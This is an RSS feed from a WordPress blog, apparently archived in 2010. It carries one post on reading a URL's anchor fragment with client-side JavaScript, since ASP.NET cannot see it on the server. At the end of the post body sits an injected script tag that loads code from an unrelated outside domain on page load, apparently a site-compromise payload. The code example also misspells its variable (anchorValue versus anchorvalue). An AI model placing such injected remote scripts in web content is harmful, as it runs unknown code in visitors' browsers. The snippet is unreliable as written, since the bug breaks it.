<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wacdesigns &#187; Ajax</title>
	<atom:link href="http://www.wacdesigns.com/tag/ajax/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.wacdesigns.com</link>
	<description>What about Creativity ?</description>
	<lastBuildDate>Sat, 19 Jun 2010 12:58:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Retrieving anchor value from URL</title>
		<link>http://www.wacdesigns.com/2008/01/16/retrieving-anchor-value-from-url/</link>
		<comments>http://www.wacdesigns.com/2008/01/16/retrieving-anchor-value-from-url/#comments</comments>
		<pubDate>Wed, 16 Jan 2008 10:08:39 +0000</pubDate>
		<dc:creator>jf</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Ajax]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.wacdesigns.com/2008/01/16/retrieving-anchor-value-from-url/</guid>
		<description><![CDATA[Lately i have been trying to get a grasp of the anchor value from the URL using ASP.NET. From what i learned from the forum (This might be wrong since there is a way in PHP(http://www.php.net/manual/en/function.parse-url.php) to get the anchor &#8230; <a href="http://www.wacdesigns.com/2008/01/16/retrieving-anchor-value-from-url/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Lately i have been trying to get a grasp of the anchor value from the URL using ASP.NET.  From what i learned from the forum (This might be wrong since there is a way in PHP(<a href="http://www.php.net/manual/en/function.parse-url.php" target="_blank">http://www.php.net/manual/en/function.parse-url.php</a>) to get the anchor value.)</p>
<p><strong>Case study: </strong></p>
<blockquote><p>e.g <a href="http://www.somesamplebigsite.com/product.aspx?q=123&amp;u=09#description" target="_blank">http://www.somesamplebigsite.com/product.aspx?q=123&amp;u=09#description</a><br />
The url above send the user to a page product and then your browser interpret the anchor and scroll down way to the description anchor. But the question is why the heck would i want to get the anchor since it&#8217;s just an anchor ? There might be several reasons for that. Here is 2 of them:</p>
<ul>
<li>You might not want to pass an extra parameter in your URL query string because of Referencing issues</li>
<li>You would like to perform an action when the page reaches the anchor: Example open an AJAX popup or load some information or Execute a JavaScript in the Description Section of the product.</li>
</ul>
<p>There might be several other reasons, but these two give you and idea of what is to be achieved.</p></blockquote>
<p>You can&#8217;t get access to the anchor value using server side ASP.NET, it will neither be seen in the <strong>Request.Url</strong> nor the <strong>Request.RawUrl</strong>. Therefore those who are trying in vain to get access to this information, don&#8217;t bother anymore. You can just use a simple javascript that will do that, and then if you want afterward to either make a new submit to the server or do it in AJAX.</p>
<pre lang="javascript">var anchorValue;
var url = document.location;
var strippedUrl = url.toString().split("#");
if(strippedUrl.length &gt; 1)
anchorvalue = strippedUrl[1];</pre>
<p>With these few lines of javascript you will be able to determine the value anchor that has been sent in your URL.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wacdesigns.com/2008/01/16/retrieving-anchor-value-from-url/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
